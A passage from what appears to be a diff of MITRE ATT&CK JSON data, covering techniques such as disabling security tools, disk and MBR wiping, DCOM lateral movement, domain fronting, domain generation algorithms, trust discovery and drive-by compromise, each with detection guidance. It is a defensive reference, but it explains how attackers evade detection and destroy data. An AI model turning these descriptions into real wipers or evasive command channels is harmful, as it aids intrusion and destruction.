(Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1089", + "source_name": "mitre-attack", + "external_id": "T1089" + }, + { + "url": "https://capec.mitre.org/data/definitions/578.html", + "source_name": "capec", + "external_id": "CAPEC-578" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Services", + "Windows Registry", + "Process command-line parameters", + "Anti-virus" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "name": "Disabling Security Tools", + "created": "2017-05-31T21:31:07.958Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Signature-based detection", + "Log analysis", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "external_id": "T1488", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1488" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016." + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016." + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Kernel drivers", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-29T13:48:11.744Z", + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "name": "Disk Content Wipe", + "created": "2019-03-29T14:59:50.763Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "external_id": "T1487", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1487" + }, + { + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks", + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017." + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017." + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019." + }, + { + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Kernel drivers", + "MBR" + ], + "modified": "2019-04-25T21:10:12.598Z", + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "name": "Disk Structure Wipe", + "created": "2019-03-19T19:38:27.097Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1175", + "source_name": "mitre-attack", + "external_id": "T1175" + }, + { + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017." + }, + { + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017." + }, + { + "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", + "source_name": "Enigma DCOM Lateral Movement Jan 2017", + "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017." + }, + { + "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", + "source_name": "Enigma Excel DCOM Sept 2017", + "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017." + }, + { + "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom", + "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", + "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", + "source_name": "Microsoft System Wide Com Keys", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017." + }, + { + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017." + }, + { + "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", + "source_name": "ProjectZero File Write EoP Apr 2018", + "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "DLL monitoring", + "Packet capture", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "name": "Distributed Component Object Model", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL) (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDCOM may also expose functionalities that can be leveraged during other areas of the adversary chain of activity such as Privilege Escalation and Persistence. (Citation: ProjectZero File Write EoP Apr 2018)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1172", + "source_name": "mitre-attack", + "external_id": "T1172" + }, + { + "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf", + "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015", + "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Packet capture" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "name": "Domain Fronting", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y." + }, + { + "external_references": [ + { + "external_id": "T1483", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1483" + }, + { + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019." + }, + { + "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/", + "source_name": "Cisco Umbrella DGA", + "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019." + }, + { + "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/", + "source_name": "Unit 42 DGA Feb 2019", + "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019." + }, + { + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018." + }, + { + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017." + }, + { + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", + "source_name": "ESET Sednit 2017 Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019." + }, + { + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019." + }, + { + "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", + "source_name": "Pace University Detecting DGA May 2017", + "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019." + }, + { + "url": "https://arxiv.org/pdf/1611.00791.pdf", + "source_name": "Endgame Predicting DGA", + "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Sylvain Gil, Exabeam", + "Barry Shteiman, Exabeam", + "Ryan Benson, Exabeam" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Packet capture", + "Network device logs", + "Netflow/Enclave netflow", + "DNS records" + ], + "modified": "2019-04-29T14:04:35.908Z", + "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "name": "Domain Generation Algorithms", + "created": "2019-02-18T17:22:57.831Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1482", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1482" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)", + "source_name": "Microsoft Trusts", + "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019." + }, + { + "url": "https://adsecurity.org/?p=1588", + "source_name": "AdSecurity Forging Trust Tickets", + "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019." + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ", + "source_name": "Harmj0y Domain Trusts", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019." + }, + { + "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/", + "source_name": "Microsoft Operation Wilysupply", + "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019." + }, + { + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships", + "source_name": "Microsoft GetAllTrustRelationships", + "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Dave Westgard", + "Elia Florio, Microsoft", + "Mnemonic", + "RedHuntLabs (@redhuntlabs)" + ], + "x_mitre_data_sources": [ + "PowerShell logs", + "API monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2019-04-29T14:06:06.900Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the DSEnumerateDomainTrusts() Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1086). The .NET method GetAllTrustRelationships() can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "name": "Domain Trust Discovery", + "created": "2019-02-14T16:15:05.974Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1189", + "source_name": "mitre-attack", + "external_id": "T1189" + }, + { + "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/", + "source_name": "Shadowserver Strategic Web Compromise", + "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Packet capture", + "Network device logs", + "Process use of network", + "Web proxy", + "Network intrusion detection system", + "SSL/TLS inspection" + ], + "modified": "2019-04-03T14:59:03.664Z", + "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "name": "Drive-by Compromise", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation.\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1157", + "source_name": "mitre-attack", + "external_id": "T1157" + }, + { + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017." + }, + { + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. 